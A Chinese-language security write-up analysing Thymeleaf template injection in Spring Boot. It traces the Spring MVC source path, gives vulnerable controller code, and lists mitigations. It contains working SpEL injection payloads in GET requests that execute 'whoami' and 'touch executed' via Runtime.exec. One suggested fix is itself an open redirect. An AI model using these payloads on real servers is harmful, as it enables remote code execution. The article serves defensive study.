作者:寬字節安全
本文為作者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org
0x01 Thymeleaf簡介
Thymeleaf是用於Web和獨立環境的現代服務器端Java模板引擎。類似與python web開發中的jinja模板引擎。順便說一句,Thymeleaf是spring boot的推薦引擎
0x02 基礎知識
Spring Boot 本身就 Spring MVC 的簡化版本。是在 Spring MVC 的基礎上實現了自動配置,簡化了開發人員開發過程。Spring MVC 是通過一個叫 DispatcherServlet 前端控制器的來攔截請求的。而在 Spring Boot 中 使用自動配置把 DispatcherServlet 前端控制器自動配置到框架中。
例如,我們來解析 /users 這個請求
- DispatcherServlet 前端控制器攔截請求 /users
- servlet 決定使用哪個 handler 處理
- Spring 檢測哪個控制器匹配 /users,Spring 從 @RquestMapping 中查找出需要的信息
- Spring 找到正確的 Controller 方法后,開始執行 Controller 方法
- 返回 users 對象列表
- 根據與客戶端交互需要返回 Json 或者 Xml 格式
spring boot 相關註解
- @Controller 處理 Http 請求
- @RestController @Controller 的衍生註解
- @RequestMapping 路由請求 可以設置各種操作方法
- @GetMapping GET 方法的路由
- @PostMapping POST 方法的路由
- @PutMapping PUT 方法的路由
- @DeleteMapping DELETE 方法的路由
- @PathVariable 處理請求 url 路徑中的參數 /user/{id}
- @RequestParam 處理問號後面的參數
- @RequestBody 請求參數以json格式提交
- @ResponseBody 返回 json 格式
Controller註解
@Controller 一般應用在有返回界面的應用場景下.例如,管理後台使用了 thymeleaf 作為模板開發,需要從後台直接返回 Model 對象到前台,那麼這時候就需要使用 @Controller 來註解。
RequestMapping註解
用來將一個controller添加至路由中
0x03 環境配置
https://github.com/veracode-research/spring-view-manipulation/
我們以spring boot + Thymeleaf模板創建一個帶有漏洞的項目。核心代碼如下
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
代碼含義如下:用戶請求的url為path,參數名稱為lang,則服務器通過Thymeleaf模板,去查找相關的模板文件。
例如,用戶通過get請求/path?lang=en
,則服務器去自動拼接待查找的模板文件名,為resources/templates/en.html
,並返回給用戶的瀏覽器。
上面的代碼存在兩個問題:
1. 是不是存在任意文件讀取?
2. 是不是存在諸如模板注入的漏洞???
0x04 模板注入分析
spring boot如何查找controller這塊我們不分析,因為對於我們不重要。
spring boot在org.springframework.web.servlet.ModelAndView
方法中,開始處理用戶的請求
/**
* This implementation expects the handler to be an {@link HandlerMethod}.
*/
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
return handleInternal(request, response, (HandlerMethod) handler);
}
隨後在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle
方法中,通過invokeForRequest函數,根據用戶提供的url,調用相關的controller,並將其返回值,作為待查找的模板文件名,通過Thymeleaf模板引擎去查找,並返回給用戶
/**
* Invoke the method and handle the return value through one of the
* configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
* @param webRequest the current request
* @param mavContainer the ModelAndViewContainer for this request
* @param providedArgs "given" arguments matched by type (not resolved)
*/
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {
Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);
if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}
mavContainer.setRequestHandled(false);
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
}
在函數中,調用this.returnValueHandlers.handleReturnValue
去處理返回結果。最終在org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue
方法中,將controller返回值作為視圖名稱。代碼如下
@Override
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
if (isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
}
spring boot最終在org.springframework.web.servlet.DispatcherServlet#processDispatchResult
方法中,調用Thymeleaf模板引擎的表達式解析。將上一步設置的視圖名稱為解析為模板名稱,並加載模板,返回給用戶。核心代碼如下
org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression
final String viewTemplateName = getTemplateName();
final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();
final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);
final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
0x05 不安全的java代碼
第一種:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}
在查找模板中,引用了用戶輸入的內容
payload
GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8090
Connection: close
在這種情況下,我們只要可以控制請求的controller的參數,一樣可以造成RCE漏洞。例如我們可以控制document參數
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
0x06 修復方案
1. 設置ResponseBody註解
如果設置ResponseBody
,則不再調用模板解析
2. 設置redirect重定向
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
根據spring boot定義,如果名稱以redirect:
開頭,則不再調用ThymeleafView
解析,調用RedirectView
去解析controller
的返回值
3. response
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
由於controller的參數被設置為HttpServletResponse,Spring認為它已經處理了HTTP Response,因此不會發生視圖名稱解析
0x07 參考
- https://github.com/veracode-research/spring-view-manipulation/
- https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html